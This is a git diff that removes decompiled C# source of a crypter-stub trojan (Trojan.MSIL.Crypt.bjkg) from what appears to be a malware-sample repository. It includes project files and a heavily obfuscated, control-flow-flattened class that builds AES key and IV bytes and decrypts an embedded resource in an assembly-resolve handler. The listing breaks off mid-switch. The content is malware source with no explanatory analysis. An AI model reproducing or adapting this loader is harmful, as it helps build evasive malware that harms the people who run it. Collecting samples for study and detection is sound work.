a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/HDguCTSKZp1F5uk7B2/CmcPEFq8EUo2sAUg3P.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HDguCTSKZp1F5uk7B2.CmcPEFq8EUo2sAUg3P -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using \u0032Enr58LioYwyemMtXQ; -using aK4dwpMEPpoyCr92ll; -using b4ZCm5KbAknf3O2Ixs; -using IpAscgifhxuNqPiEoR; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; -using w4HscHkVC8kusVwrdY; - -namespace HDguCTSKZp1F5uk7B2 -{ - internal class CmcPEFq8EUo2sAUg3P - { - [STAThread] - [MethodImpl(MethodImplOptions.NoInlining)] - private static void \u0037V662slap([In] string[] obj0) - { - CHskyceuVnH7qeGTX6.b4QmQJlpj6Xkl(); - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - CUme9i4KCMod2luIIH.qq3VZGcpG11Uo(); - try - { - using (CIf5Tfy7x4aAASu1I7 cif5Tfy7x4aAaSu1I7 = new CIf5Tfy7x4aAASu1I7(obj0)) - Environment.Exit(cif5Tfy7x4aAaSu1I7.Bq6xxF3Iu()); - } - catch (Exception ex) - { - using (Ll83YO8eqnqhEteIfC ll83Yo8eqnqhEteIfC = new Ll83YO8eqnqhEteIfC(ex, false, string.Empty, string.Empty, string.Empty)) - { - int num = (int) ll83Yo8eqnqhEteIfC.ShowDialog(); - Environment.Exit(-99); - } - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public CmcPEFq8EUo2sAUg3P() - { - } - - static CmcPEFq8EUo2sAUg3P() - { - CHskyceuVnH7qeGTX6.b4QmQJlpj6Xkl(); - GeQKoeh9BTa5jMZgSa.duwLblChk(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/IpAscgifhxuNqPiEoR/CUme9i4KCMod2luIIH.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/IpAscgifhxuNqPiEoR/CUme9i4KCMod2luIIH.cs deleted file mode 100644 index 21df6d33..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/IpAscgifhxuNqPiEoR/CUme9i4KCMod2luIIH.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IpAscgifhxuNqPiEoR.CUme9i4KCMod2luIIH -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using System.Runtime.CompilerServices; -using w4HscHkVC8kusVwrdY; - -namespace IpAscgifhxuNqPiEoR -{ - internal class CUme9i4KCMod2luIIH - { - private static bool Eea6MtuWo; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static void qq3VZGcpG11Uo() - { - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public CUme9i4KCMod2luIIH() - { - } - - static CUme9i4KCMod2luIIH() => GeQKoeh9BTa5jMZgSa.duwLblChk(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.csproj deleted file mode 100644 index be82028b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.csproj +++ /dev/null @@ -1,60 +0,0 @@ - - - - - Debug - AnyCPU - {8C627D58-A942-43F7-A8DA-EC95965BCDCD} - WinExe - CrIpterStub_new - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.sln deleted file mode 100644 index ba029963..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/Trojan.MSIL.Crypt.bjkg.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CrIpterStub_new", "Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.csproj", "{8C627D58-A942-43F7-A8DA-EC95965BCDCD}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8C627D58-A942-43F7-A8DA-EC95965BCDCD}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/_003CModule_003E{9221D907-36BD-4778-B9C4-CEB3740A7.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/_003CModule_003E{9221D907-36BD-4778-B9C4-CEB3740A7.cs deleted file mode 100644 index 800a9442..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/_003CModule_003E{9221D907-36BD-4778-B9C4-CEB3740A7.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: {9221D907-36BD-4778-B9C4-CEB3740A7B0C} -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -internal class \u003CModule\u003E\u007B9221D907\u002D36BD\u002D4778\u002DB9C4\u002DCEB3740A7B0C\u007D -{ -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/aK4dwpMEPpoyCr92ll/CHskyceuVnH7qeGTX6.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/aK4dwpMEPpoyCr92ll/CHskyceuVnH7qeGTX6.cs deleted file mode 100644 index d8f448bb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2/aK4dwpMEPpoyCr92ll/CHskyceuVnH7qeGTX6.cs +++ /dev/null @@ -1,2424 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: aK4dwpMEPpoyCr92ll.CHskyceuVnH7qeGTX6 -// Assembly: CrIpterStub_new, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E7482193-993A-4E14-A111-60CAB09B5D25 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bjkg-1c80974ba738156428239362dd9cf4434db6be2012ae3d7e68ebb6642352f8f2.exe - -using IpAscgifhxuNqPiEoR; -using System; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using w4HscHkVC8kusVwrdY; - -namespace aK4dwpMEPpoyCr92ll -{ - internal class CHskyceuVnH7qeGTX6 - { - private static string[] cZ5qAPNHL; - private static Assembly sldSlJoih; - private static bool JMguLoZcP; - - [MethodImpl(MethodImplOptions.NoInlining)] - static Assembly Eea6MtuWo([In] object obj0, [In] ResolveEventArgs obj1) - { - int num1 = 278; -label_160: - while (true) - { - int num2 = num1; -label_161: - byte[] numArray1; - byte[] numArray2; - int num3; - int num4; - int num5; - int num6; - CryptoStream cryptoStream; - MemoryStream memoryStream; - RijndaelManaged rijndaelManaged; - byte[] numArray3; - byte[] numArray4; - byte[] numArray5; - string str; - while (true) - { - byte[] numArray6; - do - { - BinaryReader binaryReader; - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - int index; - do - { - do - { - int num7 = num2; - while (true) - { - switch (num7) - { - case 0: - num4 = 82 + 122; - num7 = 268; - continue; - case 1: - goto label_143; - case 2: - goto label_216; - case 3: - numArray2[24] = (byte) (86 + 0); - num7 = 6; - continue; - case 4: - goto label_206; - case 5: - numArray3 = numArray2; - num2 = 85; - if (true) - goto label_161; - else - goto case 336; - case 6: - num3 = 126 - 70; - num2 = 46; - if (true) - goto label_161; - else - goto case 36; - case 7: - goto label_77; - case 8: - goto label_108; - case 9: - goto label_133; - case 10: - goto label_260; - case 11: - CHskyceuVnH7qeGTX6.tWax0qooyQBALUWx1C((object) rijndaelManaged, CipherMode.CBC); - num2 = 99; - if (true) - goto label_161; - else - goto case 356; - case 12: - numArray2[10] = (byte) num3; - num7 = 360; - continue; - case 13: - num3 = 177 - 59; - num7 = 225; - continue; - case 14: - goto label_361; - case 15: - num5 = 146 - 48; - goto case 323; - case 16: - numArray1[9] = (byte) (205 + 22); - num7 = 155; - continue; - case 17: - goto label_54; - case 18: - numArray2[31] = (byte) (175 - 85); - num2 = 5; - if (true) - goto label_161; - else - goto case 209; - case 19: - goto label_222; - case 20: - goto label_49; - case 21: - numArray2[27] = (byte) (211 - 70); - num2 = 286; - if (true) - goto label_161; - else - goto case 204; - case 22: - numArray2[22] = (byte) num3; - num2 = 156; - if (true) - goto label_161; - else - goto case (int) byte.MaxValue; - case 23: - num5 = 145 + 96; - num2 = 64; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_161; - else - goto case 194; - case 24: - goto label_289; - case 25: - goto label_301; - case 26: - goto label_288; - case 27: - num5 = 27 + 115; - num2 = 118; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 178; - else - goto label_161; - case 28: - numArray1[0] = (byte) num4; - num7 = 159; - continue; - case 29: - numArray2[20] = (byte) (112 + 7); - num2 = 14; - if (true) - goto label_161; - else - goto case 140; - case 30: - numArray2[19] = (byte) num5; - num2 = 119; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_161; - else - goto case 200; - case 31: - goto label_236; - case 32: - num4 = 91 + 56; - num7 = 7; - continue; - case 33: - num6 = 68 + 111; - num2 = 80; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_161; - else - goto case 82; - case 34: - case 105: - numArray2[3] = (byte) num3; - num7 = 347; - continue; - case 35: - numArray1[3] = (byte) (180 - 60); - num7 = 330; - continue; - case 36: - numArray2[20] = (byte) (59 + 104); - num2 = 29; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_161; - else - goto case 133; - case 37: - numArray1[7] = (byte) num4; - num7 = 4; - continue; - case 38: - numArray1[10] = (byte) num4; - num2 = 327; - if (true) - goto label_161; - else - goto case 284; - case 39: - numArray2[27] = (byte) num3; - num7 = 212; - continue; - case 40: - num5 = 10 + 97; - num7 = 207; - continue; - case 41: - num6 = 107 + 39; - num7 = 232; - continue; - case 42: - num3 = 0 + 30; - num2 = 22; - if (true) - goto label_161; - else - goto case 109; - case 43: - goto label_183; - case 44: - goto label_18; - case 45: - goto label_279; - case 46: - goto label_35; - case 47: - numArray2[9] = (byte) num5; - num7 = 335; - continue; - case 48: - goto label_217; - case 49: - num5 = 166 + 53; - num7 = 222; - continue; - case 50: - goto label_352; - case 51: - numArray2[12] = (byte) (150 - 50); - num2 = 209; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto case 316; - else - goto label_161; - case 52: - numArray1[5] = (byte) (254 - 84); - num7 = 226; - continue; - case 53: - goto label_250; - case 54: - num5 = 210 - 70; - num7 = 332; - continue; - case 55: - num3 = 148 - 49; - num7 = 210; - continue; - case 56: - goto label_354; - case 57: - goto label_61; - case 58: - goto label_27; - case 59: - goto label_227; - case 60: - numArray1[8] = (byte) num6; - num7 = 309; - continue; - case 61: - goto label_1; - case 62: - numArray1[6] = (byte) num6; - num2 = 158; - if (true) - goto label_161; - else - goto case 157; - case 63: - numArray2 = new byte[32]; - num7 = 125; - continue; - case 64: - numArray2[19] = (byte) num5; - num7 = 357; - continue; - case 65: - goto label_20; - case 66: - goto label_266; - case 67: - goto label_363; - case 68: - goto label_177; - case 69: - numArray2[7] = (byte) num3; - num2 = 185; - if (true) - goto label_161; - else - goto case 352; - case 70: - goto label_298; - case 71: - num5 = 149 - 30; - num2 = 162; - if (!CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto label_161; - else - goto case 115; - case 72: - goto label_24; - case 73: - num3 = 221 - 73; - num7 = 101; - continue; - case 74: - goto label_158; - case 75: - goto label_41; - case 76: - goto label_115; - case 77: - numArray2[27] = (byte) num5; - num7 = 113; - continue; - case 78: - goto label_71; - case 79: - goto label_165; - case 80: - goto label_311; - case 81: - num5 = 117 + 111; - num2 = 157; - if (true) - goto label_161; - else - goto case 29; - case 82: - numArray2[22] = (byte) num5; - num7 = 90; - continue; - case 83: - goto label_323; - case 84: - goto label_360; - case 85: - goto label_63; - case 86: - numArray2[7] = (byte) (163 + 73); - num7 = 349; - continue; - case 87: - goto label_291; - case 88: - num3 = 229 - 76; - num7 = 204; - continue; - case 89: - goto label_94; - case 90: - goto label_355; - case 91: - goto label_253; - case 92: - goto label_232; - case 93: - goto label_129; - case 94: - goto label_48; - case 95: - goto label_371; - case 96: - goto label_176; - case 97: - numArray2[4] = (byte) num5; - num7 = 145; - continue; - case 98: - goto label_100; - case 99: - goto label_37; - case 100: - goto label_265; - case 101: - goto label_322; - case 102: - goto label_23; - case 103: - goto label_142; - case 104: - goto label_80; - case 106: - numArray2[6] = (byte) (79 + 18); - num7 = 343; - continue; - case 107: - numArray2[10] = (byte) num3; - num7 = 245; - continue; - case 108: - goto label_121; - case 109: - num5 = 19 + 23; - num7 = 238; - continue; - case 110: - numArray2[1] = (byte) (211 - 70); - num7 = 40; - continue; - case 111: - goto label_112; - case 112: - goto label_211; - case 113: - goto label_254; - case 114: - goto label_258; - case 115: - num5 = 37 + 95; - num7 = 58; - continue; - case 116: - num5 = 124 + 46; - num7 = 342; - continue; - case 117: - goto label_348; - case 118: - goto label_208; - case 119: - numArray2[19] = (byte) (22 + 80); - num7 = 23; - continue; - case 120: - numArray1[4] = (byte) num4; - num2 = 242; - if (true) - goto label_161; - else - goto case 234; - case 121: - goto label_275; - case 122: - goto label_62; - case 123: - goto label_302; - case 124: - num5 = 220 + 2; - num2 = 82; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 321; - else - goto label_161; - case 125: - goto label_70; - case 126: - num6 = 220 - 73; - num2 = 174; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 144; - else - goto label_161; - case (int) sbyte.MaxValue: - goto label_251; - case 128: - case 346: - if (index >= CHskyceuVnH7qeGTX6.cZ5qAPNHL.Length) - { - num2 = 363; - if (true) - goto label_161; - else - goto case 291; - } - else - goto label_187; - case 129: - goto label_117; - case 130: - num3 = 189 - 63; - num7 = 348; - continue; - case 131: - goto label_75; - case 132: - numArray1[12] = (byte) (182 - 60); - num7 = 270; - continue; - case 133: - numArray2[11] = (byte) num3; - num7 = 241; - continue; - case 134: - goto label_312; - case 135: - goto label_57; - case 136: - goto label_200; - case 137: - num6 = 4 + 80; - num2 = 173; - if (true) - goto label_161; - else - goto case 63; - case 138: - goto label_335; - case 139: - numArray1[10] = (byte) (2 + 86); - num2 = 224; - if (true) - goto label_161; - else - goto case 18; - case 140: - numArray2[25] = (byte) (72 + 55); - num7 = 165; - continue; - case 141: - goto label_79; - case 142: - goto label_33; - case 143: - goto label_283; - case 144: - num3 = 147 - 110; - num2 = 290; - if (true) - goto label_161; - else - goto case 145; - case 145: - numArray2[4] = (byte) (34 + 58); - num7 = 48; - continue; - case 146: - goto label_342; - case 147: - goto label_280; - case 148: - case 337: - numArray1[15] = (byte) num4; - num2 = 169; - if (true) - goto label_161; - else - goto case 116; - case 149: - numArray2[11] = (byte) num3; - num7 = 51; - continue; - case 150: - goto label_240; - case 151: - goto label_285; - case 152: - num6 = 156 - 52; - num7 = 25; - continue; - case 153: - goto label_132; - case 154: - goto label_56; - case 155: - numArray1[10] = (byte) (138 - 46); - num2 = 139; - if (true) - goto label_161; - else - goto case 312; - case 156: - numArray2[22] = (byte) (47 + 77); - num2 = 340; - if (true) - goto label_161; - else - goto case 137; - case 157: - numArray2[16] = (byte) num5; - num7 = 10; - continue; - case 158: - goto label_185; - case 159: - goto label_9; - case 160: - num5 = 1 + 50; - num7 = 223; - continue; - case 161: - goto label_364; - case 162: - numArray2[6] = (byte) num5; - num7 = 167; - continue; - case 163: - goto label_147; - case 164: - goto label_131; - case 165: - numArray2[26] = (byte) (27 + 46); - num7 = 176; - continue; - case 166: - goto label_324; - case 167: - goto label_229; - case 168: - goto label_262; - case 169: - num4 = 108 + 28; - num7 = 326; - continue; - case 170: - num5 = 185 + 6; - num7 = 302; - continue; - case 171: - numArray1[0] = (byte) num6; - num7 = 334; - continue; - case 172: - goto label_362; - case 173: - goto label_209; - case 174: - goto label_327; - case 175: - goto label_230; - case 176: - goto label_38; - case 177: - goto label_343; - case 178: - numArray2[16] = (byte) num5; - num2 = 193; - if (true) - goto label_161; - else - goto case 183; - case 179: - goto label_21; - case 180: - numArray2[9] = (byte) num3; - num7 = 254; - continue; - case 181: - goto label_318; - case 182: - goto label_282; - case 183: - numArray2[10] = (byte) (16 + 33); - num7 = 215; - continue; - case 184: - goto label_297; - case 185: - goto label_325; - case 186: - goto label_334; - case 187: - numArray2[27] = (byte) num5; - num7 = 130; - continue; - case 188: - goto label_116; - case 189: - goto label_181; - case 190: - goto label_59; - case 191: - goto label_221; - case 192: - num3 = 106 - 91; - num2 = 324; - if (true) - goto label_161; - else - goto case 243; - case 193: - goto label_10; - case 194: - num3 = 122 + 104; - num7 = 117; - continue; - case 195: - goto label_155; - case 196: - goto label_332; - case 197: - goto label_314; - case 198: - numArray1[12] = (byte) (112 + 82); - num7 = 56; - continue; - case 199: - numArray2[30] = (byte) (140 - 46); - num2 = 263; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto case 208; - else - goto label_161; - case 200: - numArray2[13] = (byte) (229 - 76); - num7 = 315; - continue; - case 201: - goto label_328; - case 202: - numArray1[9] = (byte) (2 + 116); - num7 = 233; - continue; - case 203: - numArray6 = (byte[]) CHskyceuVnH7qeGTX6.oVjQSoOshprCg5AQP1((object) binaryReader, (int) CHskyceuVnH7qeGTX6.u0QhHk8kfjXBKxg5YM(CHskyceuVnH7qeGTX6.h3Qh2PL1G1VSKAK6rV((object) binaryReader))); - num2 = 63; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_161; - else - goto case 64; - case 204: - numArray2[2] = (byte) num3; - num7 = 272; - continue; - case 205: - goto label_226; - case 206: - goto label_228; - case 207: - numArray2[1] = (byte) num5; - num7 = 213; - continue; - case 208: - numArray1[14] = (byte) (193 - 64); - num2 = 143; - if (true) - goto label_161; - else - goto case 0; - case 209: - num3 = 101 + 68; - num7 = 68; - continue; - case 210: - numArray2[29] = (byte) num3; - num7 = 249; - continue; - case 211: - numArray1[3] = (byte) (97 + 87); - num7 = (int) sbyte.MaxValue; - continue; - case 212: - goto label_148; - case 213: - goto label_26; - case 214: - goto label_65; - case 215: - goto label_3; - case 216: - goto label_341; - case 217: - numArray1[6] = (byte) num4; - num2 = 291; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto case 13; - else - goto label_161; - case 218: - goto label_8; - case 219: - goto label_267; - case 220: - numArray2[28] = (byte) num3; - num2 = 294; - if (true) - goto label_161; - else - goto case 322; - case 221: - numArray2[11] = (byte) num3; - num7 = 230; - continue; - case 222: - goto label_69; - case 223: - goto label_31; - case 224: - numArray1[10] = (byte) (111 + 87); - num7 = 188; - continue; - case 225: - goto label_252; - case 226: - goto label_91; - case 227: - goto label_139; - case 228: - goto label_4; - case 229: - goto label_92; - case 230: - num3 = 104 + 74; - num7 = 133; - continue; - case 231: - goto label_219; - case 232: - numArray1[0] = (byte) num6; - num2 = 273; - if (true) - goto label_161; - else - goto case 86; - case 233: - num4 = 112 + 60; - num2 = 228; - if (true) - goto label_161; - else - goto case 303; - case 234: - num5 = 252 - 84; - num7 = 361; - continue; - case 235: - numArray2[9] = (byte) (128 - 42); - num7 = 274; - continue; - case 236: - goto label_107; - case 237: - goto label_60; - case 238: - goto label_201; - case 239: - goto label_220; - case 240: - goto label_99; - case 241: - num3 = 75 + 90; - num7 = 149; - continue; - case 242: - goto label_345; - case 243: - numArray2[22] = (byte) (178 - 59); - num7 = 303; - continue; - case 244: - numArray2[29] = (byte) (79 + 38); - num7 = 55; - continue; - case 245: - numArray2[11] = (byte) (32 + 13); - num7 = 296; - continue; - case 246: - goto label_134; - case 247: - goto label_189; - case 248: - goto label_192; - case 249: - goto label_290; - case 250: - goto label_182; - case 251: - CHskyceuVnH7qeGTX6.uOB0cntwCXcZXLG9Oc((object) memoryStream); - num7 = 67; - continue; - case 252: - goto label_241; - case 253: - goto label_212; - case 254: - num5 = 132 - 44; - num7 = 312; - continue; - case (int) byte.MaxValue: - numArray2[30] = (byte) (151 - 50); - num7 = 199; - continue; - case 256: - goto label_55; - case 257: - goto label_213; - case 258: - goto label_105; - case 259: - numArray2[3] = (byte) num3; - num7 = 19; - continue; - case 260: - goto label_210; - case 261: - goto label_239; - case 262: - numArray1[6] = (byte) num6; - num7 = 57; - continue; - case 263: - numArray2[30] = (byte) (4 + 33); - num7 = 109; - continue; - case 264: - goto label_320; - case 265: - goto label_50; - case 266: - goto label_67; - case 267: - numArray2[10] = (byte) num3; - num7 = 17; - continue; - case 268: - goto label_218; - case 269: - num6 = 224 - 74; - num7 = 70; - continue; - case 270: - goto label_336; - case 271: - rijndaelManaged = new RijndaelManaged(); - num2 = 11; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 303; - else - goto label_161; - case 272: - goto label_300; - case 273: - numArray1[0] = (byte) (25 + 28); - num2 = 247; - if (true) - goto label_161; - else - goto case 235; - case 274: - goto label_83; - case 275: - num3 = 58 + 35; - num7 = 259; - continue; - case 276: - goto label_64; - case 277: - goto label_368; - case 278: - goto label_45; - case 279: - numArray2[8] = (byte) (78 + 14); - num2 = 331; - if (true) - goto label_161; - else - goto case 34; - case 280: - numArray1[1] = (byte) (198 - 105); - num7 = 126; - continue; - case 281: - goto label_29; - case 282: - goto label_130; - case 283: - goto label_167; - case 284: - numArray1[2] = (byte) num4; - num2 = 61; - if (true) - goto label_161; - else - goto case 139; - case 285: - goto label_34; - case 286: - num5 = 111 + 3; - num7 = 77; - continue; - case 287: - goto label_276; - case 288: - goto label_299; - case 289: - goto label_156; - case 290: - numArray2[5] = (byte) num3; - num2 = 106; - if (true) - goto label_161; - else - goto case 310; - case 291: - num6 = 115 + 93; - num2 = 262; - if (true) - goto label_161; - else - goto case 148; - case 292: - goto label_347; - case 293: - numArray1[11] = (byte) num4; - num2 = 78; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 342; - else - goto label_161; - case 294: - numArray2[28] = (byte) (190 - 63); - num2 = 352; - if (CHskyceuVnH7qeGTX6.JVg6kmqAC2ynoU6yld()) - goto case 3; - else - goto label_161; - case 295: - numArray2[17] = (byte) num5; - num2 = 300; - if (true) - goto label_161; - else - goto case 230; - case 296: - num3 = 62 + 18; - num7 = 221; - continue; - case 297: - numArray2[15] = (byte) (211 - 70); - num7 = 93; - continue; - case 298: - goto label_28; - case 299: - // ISSUE: type reference - binaryReader = new BinaryReader((Stream) CHskyceuVnH7qeGTX6.PEQuiEXn6CcUuO0Ccq((object) CHskyceuVnH7qeGTX6.QBIfepSDxDyQXVKpNe(__typeref (GeQKoeh9BTa5jMZgSa)).Assembly, (object) GeQKoeh9BTa5jMZgSa.\u0038V86rIGjo(6124))); - num2 = 341; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 296; - else - goto label_161; - case 300: - goto label_12; - case 301: - num5 = 67 + 21; - num7 = 66; - continue; - case 302: - numArray2[21] = (byte) num5; - num7 = 243; - continue; - case 303: - numArray2[22] = (byte) (121 + 18); - num2 = 42; - if (true) - goto label_161; - else - goto case 54; - case 304: - goto label_319; - case 305: - num4 = 84 + 53; - num7 = 38; - continue; - case 306: - num4 = 19 + 5; - goto case 148; - case 307: - goto label_74; - case 308: - goto label_184; - case 309: - goto label_259; - case 310: - numArray2[28] = (byte) num5; - num7 = 320; - continue; - case 311: - numArray1[12] = (byte) (106 + 42); - num7 = 288; - continue; - case 312: - numArray2[9] = (byte) num5; - num7 = 192; - continue; - case 313: - numArray1[8] = (byte) num6; - num7 = 76; - continue; - case 314: - goto label_84; - case 315: - goto label_316; - case 316: - num5 = 117 + 49; - num7 = 24; - continue; - case 317: - goto label_51; - case 318: - goto label_103; - case 319: - numArray2[10] = (byte) num3; - num2 = 146; - if (true) - goto label_161; - else - goto case 47; - case 320: - num3 = 139 - 46; - num7 = 220; - continue; - case 321: - numArray1[6] = (byte) num6; - num7 = 231; - continue; - case 322: - numArray1[15] = (byte) (100 + 31); - num7 = 111; - continue; - case 323: - numArray2[25] = (byte) num5; - num2 = 168; - if (CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto label_161; - else - goto case 35; - case 324: - numArray2[9] = (byte) num3; - num7 = 179; - continue; - case 325: - numArray1[4] = (byte) (16 + 118); - num7 = 353; - continue; - case 326: - goto label_119; - case 327: - goto label_47; - case 328: - goto label_286; - case 329: - goto label_25; - case 330: - numArray1[3] = (byte) (128 - 42); - num7 = 211; - continue; - case 331: - goto label_98; - case 332: - goto label_344; - case 333: - goto label_274; - case 334: - goto label_32; - case 335: - goto label_95; - case 336: - numArray2[25] = (byte) num5; - num2 = 15; - if (true) - goto label_161; - else - goto case 220; - case 338: - numArray2[23] = (byte) (52 + 120); - num7 = 177; - continue; - case 339: - goto label_104; - case 340: - num5 = 32 + 112; - num7 = 91; - continue; - case 341: - goto label_157; - case 342: - numArray2[25] = (byte) num5; - num7 = 94; - continue; - case 343: - numArray2[6] = (byte) (220 - 73); - num7 = 252; - continue; - case 344: - goto label_168; - case 345: - numArray2[0] = (byte) num3; - num2 = 250; - if (true) - goto label_161; - else - goto case 271; - case 347: - goto label_19; - case 348: - goto label_87; - case 349: - numArray2[8] = (byte) (65 + 40); - num7 = 186; - continue; - case 350: - goto label_169; - case 351: - numArray2[5] = (byte) num3; - num7 = 317; - continue; - case 352: - numArray2[28] = (byte) (230 - 76); - num2 = 49; - if (!CHskyceuVnH7qeGTX6.BEkPvu644HnBSlmb2l()) - goto case 38; - else - goto label_161; - case 353: - goto label_215; - case 354: - goto label_315; - case 355: - goto label_101; - case 356: - numArray1[13] = (byte) num6; - num7 = 283; - continue; - case 357: - goto label_82; - case 358: - goto label_202; - case 359: - goto label_284; - case 360: - goto label_191; - case 361: - goto label_106; - case 362: - 